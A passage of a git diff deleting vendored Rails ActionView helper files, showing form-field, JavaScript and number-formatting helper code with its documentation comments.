-      #   # => <input class="ip-input" id="ip" maxlength="15" name="ip" size="20" type="text" value="0.0.0.0" />
-      def text_field_tag(name, value = nil, options = {})
-        tag :input, { "type" => "text", "name" => name, "id" => sanitize_to_id(name), "value" => value }.update(options.stringify_keys)
-      end
-
-      # Creates a label field
-      #
-      # ==== Options  
-      # * Creates standard HTML attributes for the tag.
-      #
-      # ==== Examples
-      #   label_tag 'name'
-      #   # => <label for="name">Name</label>
-      #
-      #   label_tag 'name', 'Your name'
-      #   # => <label for="name">Your Name</label>
-      #
-      #   label_tag 'name', nil, :class => 'small_label'
-      #   # => <label for="name" class="small_label">Name</label>
-      def label_tag(name, text = nil, options = {})
-        content_tag :label, text || name.to_s.humanize, { "for" => sanitize_to_id(name) }.update(options.stringify_keys)
-      end
-
-      # Creates a hidden form input field used to transmit data that would be lost due to HTTP's statelessness or
-      # data that should be hidden from the user.
-      #
-      # ==== Options
-      # * Creates standard HTML attributes for the tag.
-      #
-      # ==== Examples
-      #   hidden_field_tag 'tags_list'
-      #   # => <input id="tags_list" name="tags_list" type="hidden" />
-      #
-      #   hidden_field_tag 'token', 'VUBJKB23UIVI1UU1VOBVI@'
-      #   # => <input id="token" name="token" type="hidden" value="VUBJKB23UIVI1UU1VOBVI@" />
-      #
-      #   hidden_field_tag 'collected_input', '', :onchange => "alert('Input collected!')"
-      #   # => <input id="collected_input" name="collected_input" onchange="alert('Input collected!')"
-      #   #    type="hidden" value="" />
-      def hidden_field_tag(name, value = nil, options = {})
-        text_field_tag(name, value, options.stringify_keys.update("type" => "hidden"))
-      end
-
-      # Creates a file upload field.  If you are using file uploads then you will also need
-      # to set the multipart option for the form tag:
-      #
-      #   <% form_tag '/upload', :multipart => true do %>
-      #     <label for="file">File to Upload</label> <%= file_field_tag "file" %>
-      #     <%= submit_tag %>
-      #   <% end %>
-      #
-      # The specified URL will then be passed a File object containing the selected file, or if the field
-      # was left blank, a StringIO object.
-      #
-      # ==== Options
-      # * Creates standard HTML attributes for the tag.
-      # * <tt>:disabled</tt> - If set to true, the user will not be able to use this input.
-      #
-      # ==== Examples
-      #   file_field_tag 'attachment'
-      #   # => <input id="attachment" name="attachment" type="file" />
-      #
-      #   file_field_tag 'avatar', :class => 'profile-input'
-      #   # => <input class="profile-input" id="avatar" name="avatar" type="file" />
-      #
-      #   file_field_tag 'picture', :disabled => true
-      #   # => <input disabled="disabled" id="picture" name="picture" type="file" />
-      #
-      #   file_field_tag 'resume', :value => '~/resume.doc'
-      #   # => <input id="resume" name="resume" type="file" value="~/resume.doc" />
-      #
-      #   file_field_tag 'user_pic', :accept => 'image/png,image/gif,image/jpeg'
-      #   # => <input accept="image/png,image/gif,image/jpeg" id="user_pic" name="user_pic" type="file" />
-      #
-      #   file_field_tag 'file', :accept => 'text/html', :class => 'upload', :value => 'index.html'
-      #   # => <input accept="text/html" class="upload" id="file" name="file" type="file" value="index.html" />
-      def file_field_tag(name, options = {})
-        text_field_tag(name, nil, options.update("type" => "file"))
-      end
-
-      # Creates a password field, a masked text field that will hide the users input behind a mask character.
-      #
-      # ==== Options
-      # * <tt>:disabled</tt> - If set to true, the user will not be able to use this input.
-      # * <tt>:size</tt> - The number of visible characters that will fit in the input.
-      # * <tt>:maxlength</tt> - The maximum number of characters that the browser will allow the user to enter.
-      # * Any other key creates standard HTML attributes for the tag.
-      #
-      # ==== Examples
-      #   password_field_tag 'pass'
-      #   # => <input id="pass" name="pass" type="password" />
-      #
-      #   password_field_tag 'secret', 'Your secret here'
-      #   # => <input id="secret" name="secret" type="password" value="Your secret here" />
-      #
-      #   password_field_tag 'masked', nil, :class => 'masked_input_field'
-      #   # => <input class="masked_input_field" id="masked" name="masked" type="password" />
-      #
-      #   password_field_tag 'token', '', :size => 15
-      #   # => <input id="token" name="token" size="15" type="password" value="" />
-      #
-      #   password_field_tag 'key', nil, :maxlength => 16
-      #   # => <input id="key" maxlength="16" name="key" type="password" />
-      #
-      #   password_field_tag 'confirm_pass', nil, :disabled => true
-      #   # => <input disabled="disabled" id="confirm_pass" name="confirm_pass" type="password" />
-      #
-      #   password_field_tag 'pin', '1234', :maxlength => 4, :size => 6, :class => "pin-input"
-      #   # => <input class="pin-input" id="pin" maxlength="4" name="pin" size="6" type="password" value="1234" />
-      def password_field_tag(name = "password", value = nil, options = {})
-        text_field_tag(name, value, options.update("type" => "password"))
-      end
-
-      # Creates a text input area; use a textarea for longer text inputs such as blog posts or descriptions.
-      #
-      # ==== Options
-      # * <tt>:size</tt> - A string specifying the dimensions (columns by rows) of the textarea (e.g., "25x10").
-      # * <tt>:rows</tt> - Specify the number of rows in the textarea
-      # * <tt>:cols</tt> - Specify the number of columns in the textarea
-      # * <tt>:disabled</tt> - If set to true, the user will not be able to use this input.
-      # * <tt>:escape</tt> - By default, the contents of the text input are HTML escaped.
-      #   If you need unescaped contents, set this to false.
-      # * Any other key creates standard HTML attributes for the tag.
-      #
-      # ==== Examples
-      #   text_area_tag 'post'
-      #   # => <textarea id="post" name="post"></textarea>
-      #
-      #   text_area_tag 'bio', @user.bio
-      #   # => <textarea id="bio" name="bio">This is my biography.</textarea>
-      #
-      #   text_area_tag 'body', nil, :rows => 10, :cols => 25
-      #   # => <textarea cols="25" id="body" name="body" rows="10"></textarea>
-      #
-      #   text_area_tag 'body', nil, :size => "25x10"
-      #   # => <textarea name="body" id="body" cols="25" rows="10"></textarea>
-      #
-      #   text_area_tag 'description', "Description goes here.", :disabled => true
-      #   # => <textarea disabled="disabled" id="description" name="description">Description goes here.</textarea>
-      #
-      #   text_area_tag 'comment', nil, :class => 'comment_input'
-      #   # => <textarea class="comment_input" id="comment" name="comment"></textarea>
-      def text_area_tag(name, content = nil, options = {})
-        options.stringify_keys!
-
-        if size = options.delete("size")
-          options["cols"], options["rows"] = size.split("x") if size.respond_to?(:split)
-        end
-
-        escape = options.key?("escape") ? options.delete("escape") : true
-        content = html_escape(content) if escape
-
-        content_tag :textarea, content.to_s.html_safe, { "name" => name, "id" => sanitize_to_id(name) }.update(options.stringify_keys)
-      end
-
-      # Creates a check box form input tag.
-      #
-      # ==== Options
-      # * <tt>:disabled</tt> - If set to true, the user will not be able to use this input.
-      # * Any other key creates standard HTML options for the tag.
-      #
-      # ==== Examples
-      #   check_box_tag 'accept'
-      #   # => <input id="accept" name="accept" type="checkbox" value="1" />
-      #
-      #   check_box_tag 'rock', 'rock music'
-      #   # => <input id="rock" name="rock" type="checkbox" value="rock music" />
-      #
-      #   check_box_tag 'receive_email', 'yes', true
-      #   # => <input checked="checked" id="receive_email" name="receive_email" type="checkbox" value="yes" />
-      #
-      #   check_box_tag 'tos', 'yes', false, :class => 'accept_tos'
-      #   # => <input class="accept_tos" id="tos" name="tos" type="checkbox" value="yes" />
-      #
-      #   check_box_tag 'eula', 'accepted', false, :disabled => true
-      #   # => <input disabled="disabled" id="eula" name="eula" type="checkbox" value="accepted" />
-      def check_box_tag(name, value = "1", checked = false, options = {})
-        html_options = { "type" => "checkbox", "name" => name, "id" => sanitize_to_id(name), "value" => value }.update(options.stringify_keys)
-        html_options["checked"] = "checked" if checked
-        tag :input, html_options
-      end
-
-      # Creates a radio button; use groups of radio buttons named the same to allow users to
-      # select from a group of options.
-      #
-      # ==== Options
-      # * <tt>:disabled</tt> - If set to true, the user will not be able to use this input.
-      # * Any other key creates standard HTML options for the tag.
-      #
-      # ==== Examples
-      #   radio_button_tag 'gender', 'male'
-      #   # => <input id="gender_male" name="gender" type="radio" value="male" />
-      #
-      #   radio_button_tag 'receive_updates', 'no', true
-      #   # => <input checked="checked" id="receive_updates_no" name="receive_updates" type="radio" value="no" />
-      #
-      #   radio_button_tag 'time_slot', "3:00 p.m.", false, :disabled => true
-      #   # => <input disabled="disabled" id="time_slot_300_pm" name="time_slot" type="radio" value="3:00 p.m." />
-      #
-      #   radio_button_tag 'color', "green", true, :class => "color_input"
-      #   # => <input checked="checked" class="color_input" id="color_green" name="color" type="radio" value="green" />
-      def radio_button_tag(name, value, checked = false, options = {})
-        pretty_tag_value = value.to_s.gsub(/\s/, "_").gsub(/(?!-)\W/, "").downcase
-        pretty_name = name.to_s.gsub(/\[/, "_").gsub(/\]/, "")
-        html_options = { "type" => "radio", "name" => name, "id" => "#{pretty_name}_#{pretty_tag_value}", "value" => value }.update(options.stringify_keys)
-        html_options["checked"] = "checked" if checked
-        tag :input, html_options
-      end
-
-      # Creates a submit button with the text <tt>value</tt> as the caption.
-      #
-      # ==== Options
-      # * <tt>:confirm => 'question?'</tt> - This will add a JavaScript confirm
-      #   prompt with the question specified. If the user accepts, the form is
-      #   processed normally, otherwise no action is taken.
-      # * <tt>:disabled</tt> - If true, the user will not be able to use this input.
-      # * <tt>:disable_with</tt> - Value of this parameter will be used as the value for a disabled version
-      #   of the submit button when the form is submitted.
-      # * Any other key creates standard HTML options for the tag.
-      #
-      # ==== Examples
-      #   submit_tag
-      #   # => <input name="commit" type="submit" value="Save changes" />
-      #
-      #   submit_tag "Edit this article"
-      #   # => <input name="commit" type="submit" value="Edit this article" />
-      #
-      #   submit_tag "Save edits", :disabled => true
-      #   # => <input disabled="disabled" name="commit" type="submit" value="Save edits" />
-      #
-      #   submit_tag "Complete sale", :disable_with => "Please wait..."
-      #   # => <input name="commit" onclick="this.disabled=true;this.value='Please wait...';this.form.submit();"
-      #   #    type="submit" value="Complete sale" />
-      #
-      #   submit_tag nil, :class => "form_submit"
-      #   # => <input class="form_submit" name="commit" type="submit" />
-      #
-      #   submit_tag "Edit", :disable_with => "Editing...", :class => "edit-button"
-      #   # => <input class="edit-button" onclick="this.disabled=true;this.value='Editing...';this.form.submit();"
-      #   #    name="commit" type="submit" value="Edit" />
-      def submit_tag(value = "Save changes", options = {})
-        options.stringify_keys!
-
-        if disable_with = options.delete("disable_with")
-          disable_with = "this.value='#{disable_with}'"
-          disable_with << ";#{options.delete('onclick')}" if options['onclick']
-          
-          options["onclick"]  = "if (window.hiddenCommit) { window.hiddenCommit.setAttribute('value', this.value); }"
-          options["onclick"] << "else { hiddenCommit = document.createElement('input');hiddenCommit.type = 'hidden';"
-          options["onclick"] << "hiddenCommit.value = this.value;hiddenCommit.name = this.name;this.form.appendChild(hiddenCommit); }"
-          options["onclick"] << "this.setAttribute('originalValue', this.value);this.disabled = true;#{disable_with};"
-          options["onclick"] << "result = (this.form.onsubmit ? (this.form.onsubmit() ? this.form.submit() : false) : this.form.submit());"
-          options["onclick"] << "if (result == false) { this.value = this.getAttribute('originalValue');this.disabled = false; }return result;"
-        end
-
-        if confirm = options.delete("confirm")
-          options["onclick"] ||= 'return true;'
-          options["onclick"] = "if (!#{confirm_javascript_function(confirm)}) return false; #{options['onclick']}"
-        end
-
-        tag :input, { "type" => "submit", "name" => "commit", "value" => value }.update(options.stringify_keys)
-      end
-
-      # Displays an image which when clicked will submit the form.
-      #
-      # <tt>source</tt> is passed to AssetTagHelper#image_path
-      #
-      # ==== Options
-      # * <tt>:confirm => 'question?'</tt> - This will add a JavaScript confirm
-      #   prompt with the question specified. If the user accepts, the form is
-      #   processed normally, otherwise no action is taken.
-      # * <tt>:disabled</tt> - If set to true, the user will not be able to use this input.
-      # * Any other key creates standard HTML options for the tag.
-      #
-      # ==== Examples
-      #   image_submit_tag("login.png")
-      #   # => <input src="/images/login.png" type="image" />
-      #
-      #   image_submit_tag("purchase.png", :disabled => true)
-      #   # => <input disabled="disabled" src="/images/purchase.png" type="image" />
-      #
-      #   image_submit_tag("search.png", :class => 'search-button')
-      #   # => <input class="search-button" src="/images/search.png" type="image" />
-      #
-      #   image_submit_tag("agree.png", :disabled => true, :class => "agree-disagree-button")
-      #   # => <input class="agree-disagree-button" disabled="disabled" src="/images/agree.png" type="image" />
-      def image_submit_tag(source, options = {})
-        options.stringify_keys!
-
-        if confirm = options.delete("confirm")
-          options["onclick"] ||= ''
-          options["onclick"] += "return #{confirm_javascript_function(confirm)};"
-        end
-
-        tag :input, { "type" => "image", "src" => path_to_image(source) }.update(options.stringify_keys)
-      end
-
-      # Creates a field set for grouping HTML form elements.
-      #
-      # <tt>legend</tt> will become the fieldset's title (optional as per W3C).
-      # <tt>options</tt> accept the same values as tag.
-      #
-      # === Examples
-      #   <% field_set_tag do %>
-      #     <p><%= text_field_tag 'name' %></p>
-      #   <% end %>
-      #   # => <fieldset><p><input id="name" name="name" type="text" /></p></fieldset>
-      #
-      #   <% field_set_tag 'Your details' do %>
-      #     <p><%= text_field_tag 'name' %></p>
-      #   <% end %>
-      #   # => <fieldset><legend>Your details</legend><p><input id="name" name="name" type="text" /></p></fieldset>
-      #
-      #   <% field_set_tag nil, :class => 'format' do %>
-      #     <p><%= text_field_tag 'name' %></p>
-      #   <% end %>
-      #   # => <fieldset class="format"><p><input id="name" name="name" type="text" /></p></fieldset>
-      def field_set_tag(legend = nil, options = nil, &block)
-        content = capture(&block)
-        concat(tag(:fieldset, options, true))
-        concat(content_tag(:legend, legend)) unless legend.blank?
-        concat(content)
-        concat("</fieldset>".html_safe)
-      end
-
-      private
-        def html_options_for_form(url_for_options, options, *parameters_for_url)
-          options.stringify_keys.tap do |html_options|
-            html_options["enctype"] = "multipart/form-data" if html_options.delete("multipart")
-            html_options["action"]  = url_for(url_for_options, *parameters_for_url)
-          end
-        end
-
-        def extra_tags_for_form(html_options)
-          case method = html_options.delete("method").to_s
-            when /^get$/i # must be case-insentive, but can't use downcase as might be nil
-              html_options["method"] = "get"
-              ''
-            when /^post$/i, "", nil
-              html_options["method"] = "post"
-              protect_against_forgery? ? content_tag(:div, token_tag, :style => 'margin:0;padding:0;display:inline') : ''
-            else
-              html_options["method"] = "post"
-              content_tag(:div, tag(:input, :type => "hidden", :name => "_method", :value => method) + token_tag, :style => 'margin:0;padding:0;display:inline')
-          end
-        end
-
-        def form_tag_html(html_options)
-          extra_tags = extra_tags_for_form(html_options)
-          (tag(:form, html_options, true) + extra_tags).html_safe
-        end
-
-        def form_tag_in_block(html_options, &block)
-          content = capture(&block)
-          concat(form_tag_html(html_options))
-          concat(content)
-          concat("</form>".html_safe)
-        end
-
-        def token_tag
-          unless protect_against_forgery?
-            ''
-          else
-            tag(:input, :type => "hidden", :name => request_forgery_protection_token.to_s, :value => form_authenticity_token)
-          end
-        end
-
-        # see http://www.w3.org/TR/html4/types.html#type-name
-        def sanitize_to_id(name)
-          name.to_s.gsub(']','').gsub(/[^-a-zA-Z0-9:.]/, "_")
-        end
-
-    end
-  end
-end
diff --git a/vendor/rails/actionpack/lib/action_view/helpers/javascript_helper.rb b/vendor/rails/actionpack/lib/action_view/helpers/javascript_helper.rb
deleted file mode 100644
index 2ed9d238..00000000
--- a/vendor/rails/actionpack/lib/action_view/helpers/javascript_helper.rb
+++ /dev/null
@@ -1,208 +0,0 @@
-require 'action_view/helpers/tag_helper'
-require 'action_view/helpers/prototype_helper'
-
-module ActionView
-  module Helpers
-    # Provides functionality for working with JavaScript in your views.
-    #
-    # == Ajax, controls and visual effects
-    #
-    # * For information on using Ajax, see
-    #   ActionView::Helpers::PrototypeHelper.
-    # * For information on using controls and visual effects, see
-    #   ActionView::Helpers::ScriptaculousHelper.
-    #
-    # == Including the JavaScript libraries into your pages
-    #
-    # Rails includes the Prototype JavaScript framework and the Scriptaculous
-    # JavaScript controls and visual effects library.  If you wish to use
-    # these libraries and their helpers (ActionView::Helpers::PrototypeHelper
-    # and ActionView::Helpers::ScriptaculousHelper), you must do one of the
-    # following:
-    #
-    # * Use <tt><%= javascript_include_tag :defaults %></tt> in the HEAD
-    #   section of your page (recommended): This function will return
-    #   references to the JavaScript files created by the +rails+ command in
-    #   your <tt>public/javascripts</tt> directory. Using it is recommended as
-    #   the browser can then cache the libraries instead of fetching all the
-    #   functions anew on every request.
-    # * Use <tt><%= javascript_include_tag 'prototype' %></tt>: As above, but
-    #   will only include the Prototype core library, which means you are able
-    #   to use all basic AJAX functionality. For the Scriptaculous-based
-    #   JavaScript helpers, like visual effects, autocompletion, drag and drop
-    #   and so on, you should use the method described above.
-    #
-    # For documentation on +javascript_include_tag+ see
-    # ActionView::Helpers::AssetTagHelper.
-    module JavaScriptHelper
-      unless const_defined? :JAVASCRIPT_PATH
-        JAVASCRIPT_PATH = File.join(File.dirname(__FILE__), 'javascripts')
-      end
-
-      include PrototypeHelper
-
-      # Returns a link of the given +name+ that will trigger a JavaScript +function+ using the
-      # onclick handler and return false after the fact.
-      #
-      # The first argument +name+ is used as the link text.
-      #
-      # The next arguments are optional and may include the javascript function definition and a hash of html_options.
-      #
-      # The +function+ argument can be omitted in favor of an +update_page+
-      # block, which evaluates to a string when the template is rendered
-      # (instead of making an Ajax request first).
-      #
-      # The +html_options+ will accept a hash of html attributes for the link tag. Some examples are :class => "nav_button", :id => "articles_nav_button"
-      #
-      # Note: if you choose to specify the javascript function in a block, but would like to pass html_options, set the +function+ parameter to nil
-      #
-      #
-      # Examples:
-      #   link_to_function "Greeting", "alert('Hello world!')"
-      #     Produces:
-      #       <a onclick="alert('Hello world!'); return false;" href="#">Greeting</a>
-      #
-      #   link_to_function(image_tag("delete"), "if (confirm('Really?')) do_delete()")
-      #     Produces:
-      #       <a onclick="if (confirm('Really?')) do_delete(); return false;" href="#">
-      #         <img src="/images/delete.png?" alt="Delete"/>
-      #       </a>
-      #
-      #   link_to_function("Show me more", nil, :id => "more_link") do |page|
-      #     page[:details].visual_effect  :toggle_blind
-      #     page[:more_link].replace_html "Show me less"
-      #   end
-      #     Produces:
-      #       <a href="#" id="more_link" onclick="try {
-      #         $(&quot;details&quot;).visualEffect(&quot;toggle_blind&quot;);
-      #         $(&quot;more_link&quot;).update(&quot;Show me less&quot;);
-      #       }
-      #       catch (e) {
-      #         alert('RJS error:\n\n' + e.toString());
-      #         alert('$(\&quot;details\&quot;).visualEffect(\&quot;toggle_blind\&quot;);
-      #         \n$(\&quot;more_link\&quot;).update(\&quot;Show me less\&quot;);');
-      #         throw e
-      #       };
-      #       return false;">Show me more</a>
-      #
-      def link_to_function(name, *args, &block)
-        html_options = args.extract_options!.symbolize_keys
-
-        function = block_given? ? update_page(&block) : args[0] || ''
-        onclick = "#{"#{html_options[:onclick]}; " if html_options[:onclick]}#{function}; return false;"
-        href = html_options[:href] || '#'
-
-        content_tag(:a, name, html_options.merge(:href => href, :onclick => onclick))
-      end
-
-      # Returns a button with the given +name+ text that'll trigger a JavaScript +function+ using the
-      # onclick handler.
-      #
-      # The first argument +name+ is used as the button's value or display text.
-      #
-      # The next arguments are optional and may include the javascript function definition and a hash of html_options.
-      #
-      # The +function+ argument can be omitted in favor of an +update_page+
-      # block, which evaluates to a string when the template is rendered
-      # (instead of making an Ajax request first).
-      #
-      # The +html_options+ will accept a hash of html attributes for the link tag. Some examples are :class => "nav_button", :id => "articles_nav_button"
-      #
-      # Note: if you choose to specify the javascript function in a block, but would like to pass html_options, set the +function+ parameter to nil
-      #
-      # Examples:
-      #   button_to_function "Greeting", "alert('Hello world!')"
-      #   button_to_function "Delete", "if (confirm('Really?')) do_delete()"
-      #   button_to_function "Details" do |page|
-      #     page[:details].visual_effect :toggle_slide
-      #   end
-      #   button_to_function "Details", :class => "details_button" do |page|
-      #     page[:details].visual_effect :toggle_slide
-      #   end
-      def button_to_function(name, *args, &block)
-        html_options = args.extract_options!.symbolize_keys
-
-        function = block_given? ? update_page(&block) : args[0] || ''
-        onclick = "#{"#{html_options[:onclick]}; " if html_options[:onclick]}#{function};"
-
-        tag(:input, html_options.merge(:type => 'button', :value => name, :onclick => onclick))
-      end
-
-      JS_ESCAPE_MAP = {
-        '\\'    => '\\\\',
-        '</'    => '<\/',
-        "\r\n"  => '\n',
-        "\n"    => '\n',
-        "\r"    => '\n',
-        '"'     => '\\"',
-        "'"     => "\\'" }
-
-      # Escape carrier returns and single and double quotes for JavaScript segments.
-      def escape_javascript(javascript)
-        if javascript
-          javascript.gsub(/(\\|<\/|\r\n|[\n\r"'])/) { JS_ESCAPE_MAP[$1] }
-        else
-          ''
-        end
-      end
-
-      # Returns a JavaScript tag with the +content+ inside. Example:
-      #   javascript_tag "alert('All is good')"
-      #
-      # Returns:
-      #   <script type="text/javascript">
-      #   //<![CDATA[
-      #   alert('All is good')
-      #   //]]>
-      #   </script>
-      #
-      # +html_options+ may be a hash of attributes for the <script> tag. Example:
-      #   javascript_tag "alert('All is good')", :defer => 'defer'
-      #   # => <script defer="defer" type="text/javascript">alert('All is good')</script>
-      #
-      # Instead of passing the content as an argument, you can also use a block
-      # in which case, you pass your +html_options+ as the first parameter.
-      #   <% javascript_tag :defer => 'defer' do -%>
-      #     alert('All is good')
-      #   <% end -%>
-      def javascript_tag(content_or_options_with_block = nil, html_options = {}, &block)
-        content =
-          if block_given?
-            html_options = content_or_options_with_block if content_or_options_with_block.is_a?(Hash)
-            capture(&block)
-          else
-            content_or_options_with_block
-          end
-
-        tag = content_tag(:script, javascript_cdata_section(content), html_options.merge(:type => Mime::JS))
-
-        if block_called_from_erb?(block)
-          concat(tag)
-        else
-          tag
-        end
-      end
-
-      def javascript_cdata_section(content) #:nodoc:
-        "\n//#{cdata_section("\n#{content}\n//")}\n".html_safe
-      end
-
-    protected
-      def options_for_javascript(options)
-        if options.empty?
-          '{}'
-        else
-          "{#{options.keys.map { |k| "#{k}:#{options[k]}" }.sort.join(', ')}}"
-        end
-      end
-
-      def array_or_string_for_javascript(option)
-        if option.kind_of?(Array)
-          "['#{option.join('\',\'')}']"
-        elsif !option.nil?
-          "'#{option}'"
-        end
-      end
-    end
-  end
-end
diff --git a/vendor/rails/actionpack/lib/action_view/helpers/number_helper.rb b/vendor/rails/actionpack/lib/action_view/helpers/number_helper.rb
deleted file mode 100644
index 4c0f5776..00000000
--- a/vendor/rails/actionpack/lib/action_view/helpers/number_helper.rb
+++ /dev/null
@@ -1,308 +0,0 @@
-module ActionView
-  module Helpers #:nodoc:
-    # Provides methods for converting numbers into formatted strings.
-    # Methods are provided for phone numbers, currency, percentage,
-    # precision, positional notation, and file size.
-    module NumberHelper
-      # Formats a +number+ into a US phone number (e.g., (555) 123-9876). You can customize the format
-      # in the +options+ hash.
-      #
-      # ==== Options
-      # * <tt>:area_code</tt>  - Adds parentheses around the area code.
-      # * <tt>:delimiter</tt>  - Specifies the delimiter to use (defaults to "-").
-      # * <tt>:extension</tt>  - Specifies an extension to add to the end of the
-      #   generated number.
-      # * <tt>:country_code</tt>  - Sets the country code for the phone number.
-      #
-      # ==== Examples
-      #  number_to_phone(5551234)                                           # => 555-1234
-      #  number_to_phone(1235551234)                                        # => 123-555-1234
-      #  number_to_phone(1235551234, :area_code => true)                    # => (123) 555-1234
-      #  number_to_phone(1235551234, :delimiter => " ")                     # => 123 555 1234
-      #  number_to_phone(1235551234, :area_code => true, :extension => 555) # => (123) 555-1234 x 555
-      #  number_to_phone(1235551234, :country_code => 1)                    # => +1-123-555-1234
-      #
-      #  number_to_phone(1235551234, :country_code => 1, :extension => 1343, :delimiter => ".")
-      #  => +1.123.555.1234 x 1343
-      def number_to_phone(number, options = {})
-        number       = number.to_s.strip unless number.nil?
-        options      = options.symbolize_keys
-        area_code    = options[:area_code] || nil
-        delimiter    = options[:delimiter] || "-"
-        extension    = options[:extension].to_s.strip || nil
-        country_code = options[:country_code] || nil
-
-        begin
-          str = ""
-          str << "+#{country_code}#{delimiter}" unless country_code.blank?
-          str << if area_code
-            number.gsub!(/([0-9]{1,3})([0-9]{3})([0-9]{4}$)/,"(\\1) \\2#{delimiter}\\3")
-          else
-            number.gsub!(/([0-9]{0,3})([0-9]{3})([0-9]{4})$/,"\\1#{delimiter}\\2#{delimiter}\\3")
-            number.starts_with?('-') ? number.slice!(1..-1) : number
-          end
-          str << " x #{extension}" unless extension.blank?
-          str
-        rescue
-          number
-        end
-      end
-
-      # Formats a +number+ into a currency string (e.g., $13.65). You can customize the format
-      # in the +options+ hash.
-      #
-      # ==== Options
-      # * <tt>:precision</tt>  -  Sets the level of precision (defaults to 2).
-      # * <tt>:unit</tt>       - Sets the denomination of the currency (defaults to "$").
-      # * <tt>:separator</tt>  - Sets the separator between the units (defaults to ".").
-      # * <tt>:delimiter</tt>  - Sets the thousands delimiter (defaults to ",").
-      # * <tt>:format</tt>     - Sets the format of the output string (defaults to "%u%n"). The field types are:
-      #
-      #     %u  The currency unit
-      #     %n  The number
-      #
-      # ==== Examples
-      #  number_to_currency(1234567890.50)                    # => $1,234,567,890.50
-      #  number_to_currency(1234567890.506)                   # => $1,234,567,890.51
-      #  number_to_currency(1234567890.506, :precision => 3)  # => $1,234,567,890.506
-      #
-      #  number_to_currency(1234567890.50, :unit => "&pound;", :separator => ",", :delimiter => "")
-      #  # => &pound;1234567890,50
-      #  number_to_currency(1234567890.50, :unit => "&pound;", :separator => ",", :delimiter => "", :format => "%n %u")
-      #  # => 1234567890,50 &pound;
-      def number_to_currency(number, options = {})
-        options.symbolize_keys!
-
-        defaults  = I18n.translate(:'number.format', :locale => options[:locale], :raise => true) rescue {}
-        currency  = I18n.translate(:'number.currency.format', :locale => options[:locale], :raise => true) rescue {}
-        defaults  = defaults.merge(currency)
-
-        precision = options[:precision] || defaults[:precision]
-        unit      = options[:unit]      || defaults[:unit]
-        separator = options[:separator] || defaults[:separator]
-        delimiter = options[:delimiter] || defaults[:delimiter]
-        format    = options[:format]    || defaults[:format]
-        separator = '' if precision == 0
-
-        begin
-          format.gsub(/%n/, number_with_precision(number,
-            :precision => precision,
-            :delimiter => delimiter,
-            :separator => separator)
-          ).gsub(/%u/, unit).html_safe
-        rescue
-          number
-        end
-      end
-
-      # Formats a +number+ as a percentage string (e.g., 65%). You can customize the
-      # format in the +options+ hash.
-      #
-      # ==== Options
-      # * <tt>:precision</tt>  - Sets the level of precision (defaults to 3).
-      # * <tt>:separator</tt>  - Sets the separator between the units (defaults to ".").
-      # * <tt>:delimiter</tt>  - Sets the thousands delimiter (defaults to "").
-      #
-      # ==== Examples
-      #  number_to_percentage(100)                                        # => 100.000%
-      #  number_to_percentage(100, :precision => 0)                       # => 100%
-      #  number_to_percentage(1000, :delimiter => '.', :separator => ',') # => 1.000,000%
-      #  number_to_percentage(302.24398923423, :precision => 5)           # => 302.24399%
-      def number_to_percentage(number, options = {})
-        options.symbolize_keys!
-
-        defaults   = I18n.translate(:'number.format', :locale => options[:locale], :raise => true) rescue {}
-        percentage = I18n.translate(:'number.percentage.format', :locale => options[:locale], :raise => true) rescue {}
-        defaults  = defaults.merge(percentage)
-
-        precision = options[:precision] || defaults[:precision]
-        separator = options[:separator] || defaults[:separator]
-        delimiter = options[:delimiter] || defaults[:delimiter]
-
-        begin
-          number_with_precision(number,
-            :precision => precision,
-            :separator => separator,
-            :delimiter => delimiter) + "%"
-        rescue
-          number
-        end
-      end
-
-      # Formats a +number+ with grouped thousands using +delimiter+ (e.g., 12,324). You can
-      # customize the format in the +options+ hash.
-      #
-      # ==== Options
-      # * <tt>:delimiter</tt>  - Sets the thousands delimiter (defaults to ",").
-      # * <tt>:separator</tt>  - Sets the separator between the units (defaults to ".").
-      #
-      # ==== Examples
-      #  number_with_delimiter(12345678)                        # => 12,345,678
-      #  number_with_delimiter(12345678.05)                     # => 12,345,678.05
-      #  number_with_delimiter(12345678, :delimiter => ".")     # => 12.345.678
-      #  number_with_delimiter(12345678, :separator => ",")     # => 12,345,678
-      #  number_with_delimiter(98765432.98, :delimiter => " ", :separator => ",")
-      #  # => 98 765 432,98
-      #
-      # You can still use <tt>number_with_delimiter</tt> with the old API that accepts the
-      # +delimiter+ as its optional second and the +separator+ as its
-      # optional third parameter:
-      #  number_with_delimiter(12345678, " ")                     # => 12 345.678
-      #  number_with_delimiter(12345678.05, ".", ",")             # => 12.345.678,05
-      def number_with_delimiter(number, *args)
-        options = args.extract_options!
-        options.symbolize_keys!
-
-        defaults = I18n.translate(:'number.format', :locale => options[:locale], :raise => true) rescue {}
-
-        unless args.empty?
-          ActiveSupport::Deprecation.warn('number_with_delimiter takes an option hash ' +
-            'instead of separate delimiter and precision arguments.', caller)
-          delimiter = args[0] || defaults[:delimiter]
-          separator = args[1] || defaults[:separator]
-        end
-
-        delimiter ||= (options[:delimiter] || defaults[:delimiter])
-        separator ||= (options[:separator] || defaults[:separator])
-
-        begin
-          parts = number.to_s.split('.')
-          parts[0].gsub!(/(\d)(?=(\d\d\d)+(?!\d))/, "\\1#{delimiter}")
-          parts.join(separator)
-        rescue
-          number
-        end
-      end
-
-      # Formats a +number+ with the specified level of <tt>:precision</tt> (e.g., 112.32 has a precision of 2).
-      # You can customize the format in the +options+ hash.
-      #
-      # ==== Options
-      # * <tt>:precision</tt>  - Sets the level of precision (defaults to 3).
-      # * <tt>:separator</tt>  - Sets the separator between the units (defaults to ".").
-      # * <tt>:delimiter</tt>  - Sets the thousands delimiter (defaults to "").
-      #
-      # ==== Examples
-      #  number_with_precision(111.2345)                    # => 111.235
-      #  number_with_precision(111.2345, :precision => 2)   # => 111.23
-      #  number_with_precision(13, :precision => 5)         # => 13.00000
-      #  number_with_precision(389.32314, :precision => 0)  # => 389
-      #  number_with_precision(1111.2345, :precision => 2, :separator => ',', :delimiter => '.')
-      #  # => 1.111,23
-      #
-      # You can still use <tt>number_with_precision</tt> with the old API that accepts the
-      # +precision+ as its optional second parameter:
-      #   number_with_precision(number_with_precision(111.2345, 2)   # => 111.23
-      def number_with_precision(number, *args)
-        options = args.extract_options!
-        options.symbolize_keys!
-
-        defaults           = I18n.translate(:'number.format', :locale => options[:locale], :raise => true) rescue {}
-        precision_defaults = I18n.translate(:'number.precision.format', :locale => options[:locale],
-                                                                        :raise => true) rescue {}
-        defaults           = defaults.merge(precision_defaults)
-
-        unless args.empty?
-          ActiveSupport::Deprecation.warn('number_with_precision takes an option hash ' +
-            'instead of a separate precision argument.', caller)
